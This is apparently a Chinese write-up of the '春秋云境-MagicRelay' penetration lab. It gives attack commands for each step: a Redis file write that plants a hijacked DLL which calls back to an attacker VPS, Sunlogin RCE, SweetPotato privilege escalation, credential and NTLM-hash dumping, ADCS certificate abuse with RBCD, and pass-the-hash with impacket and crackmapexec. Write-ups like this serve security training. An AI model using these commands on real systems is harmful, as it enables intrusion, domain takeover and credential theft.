春秋云境-MagicRelay
春秋云境-MagicRelay
flag01
新版fscan是好看哈
发现redis版本是3.0.504
MDUT连接
通过文件路径可以看出是windows系统,对于windows下的获取权限的方式,网上并不是很多,但是对于Redis未授权漏洞的利用,其最根本的原理就是写文件的利用,大致有以下几种
1、能够获取web绝对路径的,直接写入webshell
2、写入启动项
3、写入mof、dll劫持等
没有web服务,webshell也就没法写了,启动项的话
windows下的开机启动项的目录为
1 | C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/ |
1 | config set dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/" |
这里无法执行
写入MOF 但是版本靶机版本是win2019 要求是win2003 所以此方法不行
只剩下DLL劫持了https://www.cnblogs.com/sup3rman/p/16803408.html
从本地的system32文件夹下提取出 dbghelp.dll
,然后使用 dllHijack 脚本,
dllHijack这里最好是用这个修改过的, 原来的脚本会报错
由于每个人的操作版本不一样,所以system32文件夹下面的 dbghelp.dll 可能也会有区别,这里我用的是 winserver 2019 build 17763 版本里面的dbghelp.dll
用脚本生成dbghelp.dll 的Visual Studio 2019的项目文件
1 | python3 DllHijacker.py dbghelp.dll |
再用visual Studio 2019 打开项目文件
请在VS2019中修改项目的属性如果不改,那么靶机无法加载生成出来的DLL
属性->C/C++->代码生成->运行库->多线程 (/MT)如果是debug则设置成MTD
属性->C/C++->代码生成->禁用安全检查GS
关闭生成清单 属性->链接器->清单文件->生成清单 选择否
在VS2019中替换 dllmain.cpp
中的shellcode,
然后选择 Release
x64
生成DLL文件
把生成好的文件上传到 RedisWriteFile.py
同级目录下面
然后把脚本 RedisWriteFile
文件夹上传到你的VPS上,
执行命令,记得在安全组里面开放你vps的16379端口
1 | python3 RedisWriteFile.py --rhost 39.98.125.195--rport 6379 --lhost 140.143.143.130 --lport 16379 --rpath 'C:\\Program Files\\Redis\\' --rfile 'dbghelp.dll' --lfile 'dbghelp.dll' |
上线cs
flag02
上传fscan gost
向日葵RCE
1 | [*] 开始信息扫描... |
发现ftp匿名登录
该版本存在rce https://github.com/Mr-xn/sunlogin_rce
1 | xrkRce.exe -h 172.22.12.31 -t scan |
flag03
1 | shell whoami /priv |
发现身份验证号模拟客户端启用,可以用sweetpotato提权,上传,
上线system权限
1 | shell C:\Users\Public\sweetpotato.exe -a "C:\Users\Public\beacon.exe" |
dump明文密码,拿到管理员的hash
1 | Username : WIN-YUYAOX9Q$ |
1 | shell C:\Users\Public\Desktop\sharphound.exe -c all --outputdirectory C:\Users\Public\ |
收集域内信息
这里我搞完了就是没法下载压缩包
借用一下别的师傅的图
WIN-YUYAOX9Q单独出来的,和其他机器没有什么联系,但是存在CA服务器
查看一下
1 | shell certutil |
配置hosts
1 | #/etc/hosts |
然后需要一个域内用户账号创建一个机器账号,此机器账号用于冒充域管
这里我们前面抓到的 WIN-YUYAOX9Q$
机器账号的hash就派上用场了
利用WIN-YUYAOX9Q$
机器用户新建一个机器用户
1 | proxychains -q certipy-ad account create -u WIN-YUYAOX9Q$ -hashes e611213c6a712f9b18a8d056005a4f0f -dc-ip 172.22.12.6 -user aaa -dns WIN-SERVER.xiaorang.lab -debug |
然后使用创建好的机器账号申请一个证书
1 | proxychains certipy-ad req -u 'aaa$@xiaorang.lab' -p 'ObZEUaUOxhfU5xCj' -ca 'xiaorang-WIN-AUTHORITY-CA' -target 172.22.12.12 -template 'Machine' -debug -dc-ip 172.22.12.6 |
然后利用证书即可获取到域控机器账号的Hash
1 | proxychains certipy auth -pfx win-server.pfx -dc-ip 172.22.12.6 -debug |
这里报错了”KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type
“
这屋里就跟网鼎杯的那套题最后类似了
提取出密钥与证书
1 | openssl pkcs12 -in win-server.pfx -nodes -out win-server.pem |
1 |
|
将证书配置到域控的RBCD
1 | proxychains -q python3 passthecert.py -action write_rbcd -crt win-server.crt -key win-server.key -domain xiaorang.lab -dc-ip 172.22.12.6 -delegate-to 'win-server$' -delegate-from 'aaa$' |
申请一张cifs服务的ST
1 | proxychains -q impacket-getST xiaorang.lab/'aaa$':'ObZEUaUOxhfU5xCj' -spn cifs/win-server.xiaorang.lab -impersonate Administrator -dc-ip 172.22.12.6 |
导入票据
1 | export KRB5CCNAME=Administrator.ccache |
1 | proxychains -q impacket-psexec Administrator@win-server.xiaorang.lab -k -no-pass -dc-ip 172.22.12.6 -codec gbk |
flag04
sqm转存
1 | proxychains impacket-secretsdump 'xiaorang.lab/administrator@win-server.xiaorang.lab' -target-ip 172.22.12.6 -no-pass -k |
喷洒一下看看是哪个机器上的
1 | proxychains crackmapexec smb 172.22.12.12 -u 'administrator' -H 'aa95e708a5182931157a526acf769b13' |
1 | proxychains crackmapexec smb 172.22.12.12 -u 'administrator' -H 'aa95e708a5182931157a526acf769b13' -x 'type c:\Users\administrator\flag03.txt' |